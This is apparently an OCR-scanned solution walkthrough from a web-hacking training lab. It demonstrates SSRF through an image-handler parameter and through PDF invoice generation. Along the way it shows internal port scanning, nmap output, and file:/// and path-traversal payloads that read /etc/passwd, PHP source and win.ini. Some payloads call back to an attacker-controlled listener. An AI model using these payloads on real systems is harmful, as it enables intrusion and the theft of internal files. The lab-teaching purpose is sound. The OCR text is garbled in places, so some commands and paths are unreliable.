4 21 80 200 452 452 @] @] 151
5 10 8080 200 476 476 O O 151
6 11 8080 200 482 483 (] ] 151
7 12 8080 200 391 392 0 @] 167 I
8 21 8080 200 478 478 @] g 151
9 10 8888 200 483 483 O O 151
10 11 8888 200 484 484 d d 151
11 12 8888 200 393 394 @] O 151
12 21 8888 200 433 434 @] d 151
13 10 21 200 3303 3434 O @) 151
14 11 21 200 472 472 O O 151
15 12 21 200 379 379 o @) 151
16 21 21 200 424 425 O O 151
17 10 22 200 440 441 g g 151
18 11 22 200 459 459 O (@] 151
19 12 22 200 380 381 a g 151
20 21 22 200 474 474 @] (@] 151
21 10 8000 200 480 480 (@] g 151
22 11 8000 200 471 472 g (@] 151
23 12 8000 200 470 470 O O 151
24 21 8000 200 480 480 @] O 151
25 10 3000 200 463 464 O O 151
26 11 3000 200 468 468 @] @] 151
27 12 3000 200 471 471 @] @] 151
28 21 3000 200 470 470 (@] g 151
29 10 3001 200 391 391 @] @] 151
30 11 3001 200 446 446 OJ OJ 151
31 12 3001 1200 | 305 1598 @] (] [123040 ||
32 21 3001 200 255 256 g @] 151
Request | Response
j Raw T Params T Headers T Hex ]
GET /imagehandler .phpPimgurl=http:// 192.168.200.12:3001 |H‘I'TP/1 .1
Host: shop.webhacklabcom
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0
Eccept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8
Eccept-Language: en-0US5,en;g=0.5
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Step 20: Observe the result table using columns “Length” or “Response received” for each
ports/services, we can observe that there are 2 other services(HTTP on port 8080) which have

variations in “Length”.

j Results T Target T Positions T Payloads T Options ]
‘ Fiter: Showing all tems ‘ ?
Request | Payload Payload2? 4 | Status Response... | Error | Timeout Length
10 1 3000 200 545 ] ] 151 i
21 10 3009 200 510 O a 151 r
22 1 3009 200 524 O O 151
7 12 3009 200 546 O a 151
24 21 3009 200 551 O O 151
2 21 3080 200 507 O 3] 151
[ 1 3080 200 512 [ [ 10802
7 12 2030 200 545 ] Ll 167
5 10 3080 200 21 O d 151
40 21 3388 200 545 ] ] 151
38 1 8888 200 547 O a st ~
39 12 3888 200 550 O O 151
a7 10 3888 200 553 O a 151
29 10 3999 200 525 O O 151
30 1 2999 200 538 ] ] 151
32 21 3999 200 547 O d 151
3 12 2999 200 552 ] ] 151
35 2 9999 200 489 O d 151
33 10 9999 200 508 ] ] 151
35 12 9999 200 544 O [ 151
34 1 | 9509 200 545 O O Lis hd
- {, ) >
_[ Reguest T Response ]
_[ Raw T Params T Headers I Hex ]
ET /imagehandler php?imgurl=http: /192 188_200.11:5595% HTTP/1.1 '
ost: shop.webhacklal. con
User—-Agent: Mozilla/s5.0 (Windows NT &6.3; Wined; xe4; rv:59.0) Gecko/IZ0100101 Firefox/55.0
Accept: *i% ¥
2 < + = Type & search term 0 matches
Finished g
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Step 21: We can also match our results with “Nmap” output as shown in below Figure:

root@Kali:~# nmap -F 192.168.200.0/24 -sT

Mmap scan report for pay.webhacklabh.com <192.168.280.168>
Host is up <B.44sz latencyl.
Mot shown: 27 closed ports

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8B8-tcp open http

Mmap =can report for auth.webhacklab.com <192.168.200.11>
Host is up (B.208z latency).
Mot shown: 9% closed ports

PORT STATE SERUVICE
21/tcp open ftp

22/tcp open szh

88./tcp open http

8889 /tcp open ajplld
8088-tcp open http-proxy

Mmap scan report for misc.webhacklab.com €1%2.168.208.12>
Host is up (B.23s latency).
Mot shown: 95 closed ports

PORT STATE SERUVICE
22/tcp open ssh

Listcp open domain
88-tcp open http
JBBBtcp open ppp
8888tcp open http—proxy

Mmap scan report for 192.168.280.14
Host is up (B.24sz latencyl.

Mot shown: 99 closed ports

PORT STATE SERUVICE

22/tcp open ssh

Mmap scan report for hc.webhacklab.com ¢192.168.288.15>
Host is up ¢B.23sz latencyl.
Mot shown: 96 closed ports

PORT STATE SERVICE
22/tcp open ssh

88-tcp open http

808? /tcp open ajplld
8888/tcp open http—proxy

Mmap scan report for 192.168.2008.21
Host is up (B.23z latencyl.

Mot shown: 99 closed ports

PORT STATE SERUVICE

22/tcp open ssh

B0 :00 remainingl?

Mmap done: 256 IP addresses <6 hosts up? scanned in 87.43 seconds
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Step 22: Similarly, fetch an internal file “/etc/passwd” using payload:

oA Jete/passwd

Go Cancel < | >\ I Target: http:i/shop.webhacklab.com lzJ
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET 'y HTTP/1.1 200 0K r
fimagehandler.phd?imgurl=..f..f.. e ..fetcfpasswdl o Date: Mon, 1& Apr ZO018 15:17:25 GMT N
TTRP/L.1 Server: Apache/sZ.4.18 (Ubuntul
ost: shop.webhacklab. com Content-Length: 1981
User—Agent: Mozillas5.0 (Windows NT £.3; Wingéd; x&4; Connection: close
rv:55.0) GeckosZ0100101 Firefox/59.0 Content-Type: image/png
Aocept: */*
Accept-Language: en-US,en;g=0.5 root:x:0:0:root:froot:/binfbash
Accept-Encoding: gzip, deflate daemon:x:1:1:daemon: jusr/shin: J/usr/shin/nologin
RPeferer: http://shop.webhacklab. com/products.php bin:x:Z2:Z2:bhin:/bin: fusr/shin/nologin
Cookie: PHPSESSID=js3ap7i337724mhegreaivbhbhil sys:x:3:3:sys:Sdev: Jusr/shin/nologin
Connection: close syno:x:4: 85534 syne: /hin: /bin/swyno d
games:x:5: 60 games: fusr//games: Susr/shin/nologin
man:x:E:12:man: fvar/cache/man: jusr/shin/nologin
lp:x:7:7:1p: /varSspool/lpd: jusr/shin/nologin
mail:x:8:8:mail:/var/mail: fusr/shin/nologin
news:x:9:9:news: fvar/spool/nevs: fusr/shin/nologin
uucp:x:10: 10:waep: frar/spool /uacp: fusr/shin/nologin
proxy:ix:13:13proxy: /hbin: Jusr/shin/nologin
www-datarx: 3332 ivww-data: SvarSwww: Susr/shin/nologin
backup:x: 34: 3d:backup: /svar/backups: fusr/shin/nologin
list:x:38:38:Mailing List
Hanager: /var/list:/usr/shin/nologin
- irc:x:39:38:ired: fvar/run/ircd: fusr/shin/nologin L
v gmats:x:4l:41:CGnats Bug-Feporting System o
0 matches u [;J [;J u 0 matches
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Step 23: Let’s try to fetch an internal file “/etc/passwd” from the host through file URI scheme:

http://shop.webhacklab.com/imagehandler.php?imqurl=file:///etc/passwd

Burp Suite Professional v1.7.31 - Temporary Project - licensed to NotSoSecure [single user license] @ &

Burp Intruder Repeater Window Help
Project options T User options T Alerts T MSmap T Additional Scanner Checks T Logger++ T xssWalidator
Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender

[1><T2xTSxTﬂ-xTSxTExT?xTBij

Cancel

Go < |v > |
Request

J RawT Params T Headers T Hex ]

I Target: http://shop.webhacklab.com IlEJ EJ

Response

J Raw T Headers T Hex -]

GET /imagehandler.phg?imgurl=Ffile:///etc/passwd |
HTTP/1.1
Host: shop.webhacklab.com
User-Agent: Mozillas5.0 (X11;
Gecko/20100101 Firefox/45.0
Accept: imageSpng.image/*;q=0.8,*/%;q=0.5
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http:/s/shop.webhacklab.com/products.php
Cookie: PHPSESSID=js3ap7j337724mhegveaivbhfl
Connection: close

L

Linux xB6_64: rv:45.0)

=~
v

0 matches

HTTP/1.1 280 OK

Date: Tue, 27 Mar 2018 09:41:14 GMT
Server: Apache/s2.4.18 (Ubuntu)
Content-Length: 1981

Connection: close

Content-Type: i1mage/png

I

root:x:0:8@:root: root: binsbash
11l:1l:daemon: fusrssbhbin: susrssbhbins/nolegin
bin:x:2:2:bin:sbin: fusrysbins/nologin
sys:x:3:3:s5ys:/dev: fusry/sbin/nologin
sync:x:4:65534:sync:/sbin:sbinssync
games:x:5:60:games: fusr/games: Jusr/shin/nolegin
man:x:6:12:man: fvar/cache/man: Jusr/shin/nologin
lp:x:7:7:lp:svars/spoolslpd: fusr/sbin/neoelogin
mail:x:8:8:mail:/var/mail: fusrisbhin/nologin
news:x:9:9:news: fvarsspoolsnews: fusr/shinsnelegin
uucp:x:10:10:uucp: fvarsspoolsuucp: fusrysbhin/nologin
proxy:x:13:13:proxy: /bin: fusrssbin/nologin
i i i

-
L v

B Tyvpe a search term

0 matches

Lz Jl=Jl=]

2,135 bytes | 593 millis

Step 24: Fetch an internal file from the host through file URI scheme:

http://shop.webhacklab.com/imagehandler.php?imgurl=file:///var/www/html/admin.php

Burp Intruder Repeater Window Help

Burp Suite Professional v1.7.31 - Temporary Project - licensed to NotSoSecure [single user license] @ & &

[ Project options T User options T Alerts T MNSmap T

Additional Scanner Checks T Logger++ T xssWalidator

|

[ Target T Proxy T Spider T Scanner T Intruder T Repeater

T Sequencer T Decoder T Comparer T Extender

|

[ =72 T3 =Ja=]5=7]6=17 = el —]

Cancel

~ Go || cancal | [ <iv ] [ >Iv

Request

J Raw T Params T Headers T Hex ]

I Target: http://shop.webhacklab.com IE’J EJ

Response

_[ Raw T Headers T Hex T HTML T Render ]

GET
Simagehandler.php?imgurl=~file: s/ var/ www/html/admin.p
hp HTTPs1.1

Host: shep.webhacklab.com
User-Agent: Mozillas5.0 (X11:
Gecko/20100101 Firefox/45.0
Accept: image/png.image/*:g=0.8,%/*:g=0.5
Accept-Language: en-US,en:g=0.5
Accept-Encoding: gzip. deflate

Referer: http://shop.webhacklab.com/products.php
Coockie: PHPSESSID=js3ap7ij3377Z4mheégveaivbhfl
Connection: close

I

Linux =x86_6B4: rv:45.0)

s
v

0 matches

=7php

J4if (session_status()
{sessien_start():}
ifi(session_id() == "' ||
lisset($_SESSION)}{session_start{);}

l== PHP_SESSION_ACTIVE)

if(lisset($_SESSION["username”1})} {
header{"location:index.php");
¥

if($_SESSION["type"]l="admin"} {
header({"location:index.php");

i
include ‘config.php’:
T=
I -
=ldoctype html= r |
bl o1 M ien 3 R
e - + > I 1 || MotSoSecure Sports Shop 1 matchl

3.627 bytes | 1.560 millis
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SSRF via PDF Generation

Challenge URL: http://topup.webhacklab.com/Account/Profile

e Utilise PDF export injection to confirm SSRF using OOB channel.

e Retrieve the content of the internal file “win.ini”:
Solution:

Step 1: Login to the topup application using your account and visit user account profile page. You
can update the account information using this page:

NOTEWE HOME TOPUP VOUCHERS SHOP SAGAR8899@MAILINATOR.COM

Bob Dave 998877999099

Whatis my uncle-name? P

Profile Image Membership

O o

‘ Browse... ‘ No file selected. Bronze

Billing Address

12, Rez colony, downtown, 45. Newada

UPDATE

Step 2: To identify SSRF in the above input field, OOB calls can be made using <iframe
src="http://192.168.4.X:8000'/>. Let’s try injecting the payload in the “billing address” field and

generate the PDF to understand the response coming from the server.

Bob Dave 998877999099

Whatis my uncle-name? e

Profile Image

Membership
| Browse... | No file selected. Bronze

<iframe’src='http://192.168.4.84:8888
fa'></iframe>

UPDATE
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Step 3: Start HTTP webserver on your kali VM to get the http request logs, using the following

command:

Python3 -m http.server

root@® kali ~/tools
## python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

Now make a top-up transaction, which will create a PDF invoice for the transaction details with the

help of user profile data.

Step 4: Output of python http web server logs will show that the http requests are being received by

the server and “Name” and “Billing Address” fields are vulnerable to SSRF.

root@ kali)- | ~/tools
#f python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

192.168.200.110 - - [11/Jul/2021 03:04:09] "GET / HTTP/1.1"
192.168.200.110 - - [11/Jul/2021 03:04:10] "GET / HTTP/1.1"

]

Note: Each time you try this on different input fields, you need to generate an invoice PDF file using

a top-up transaction to get the http log output.

Step 5: Notice that the application is running over the 1IS 8.5 and ASP.NET, hence we can consider

the windows specific payload to read the local content from the web server.

Target: http:/ftopup.webhacklab.com | # |7 |

_[ Raw T Headers I Hex T HTML T Render ]

HTTP/1.1 280 OK

Cache-Control: private

Content-Tvpe: text/himl: charset=utf-8
Server: Microsoft-IIGS/ 8.5
¥-AspNetMvc-Version: 5.2
¥-AspNet-Version: 4.0.30319
¥-Powered-By: ASP.MNET

UDate: Thu, bd Uct Uldg BY:536:14 GMT
Connection: close

Content-Length: 20098

N

=ldoctype html=
=html lang="en"=
<head=
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Step 6: The previous step confirms the presence of vulnerability on “Name” and “Billing Address”
fields. Add simple SSRF payload for reading the local web server file in to the “Name” and “Billing

Address” field - Here we have updated it in “Billing Address” field with below payload:

<iframe src='file:////C:\Windows\win.ini "' ></iframe>

NOT SECURE HOME TOPUP VOUCHERS SHOP SAGARS899@MAILINATOR.COM

Baeb Dave 998877999099

Whatis my uncle-name? s o2

Profile Image Membership

Browse... No file selected. Bronze

Billing Address

<iframe src="file:////C:\Windows\win.ini'>
<fiframe>

UPDATE

Step 7: Using top-up option of the homepage, you need to proceed with a top-up and complete the
transaction. After completion of the successful transaction there will be a payment invoice created
and available in “My Orders” section. While generating the invoice, it fetched the transaction details

along with the profile information available with our payload.

NOTESECLFE HOME TOPUP VOUCHERS SHOP SAGAR8899@MAILINATOR.COM MY ORDERS

My Orders

Product Transaction Amount Order Status Order Date Invoice
" | d578befa1519440a8f593a5219e45507 | 372 Success 10/3/2018 3:39:31 AM DOWNLOAD

vodafone

O 3e7b306e66a647d896bbec53dc0f26be 310 Success 10/3/2018 3:26:56 AM DOWNLOAD
6 01118e9fd214d008fc7663b9dc1447a 310 Success 10/3/2018 3:22:07 AM DOWNLOAD

vodafone
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Step 8: Navigating to “My Orders” page, you can see the recent order page for your transaction and

Click on the Download option. The download option will show a PDF file against your payload iframe

for Windows - win.ini file.

Date : 10/3/2018 3:39:31 AM

; for 16-bit app support [fonts]
[extensions] [mci extensions]
[files] [Mail] MAPI=1

Payment Method Card
Amount 372 GBP
ltem Price

Invoice No#: 5929

Bob Dave
sagar8899@mailinator.com

END OF PART -3
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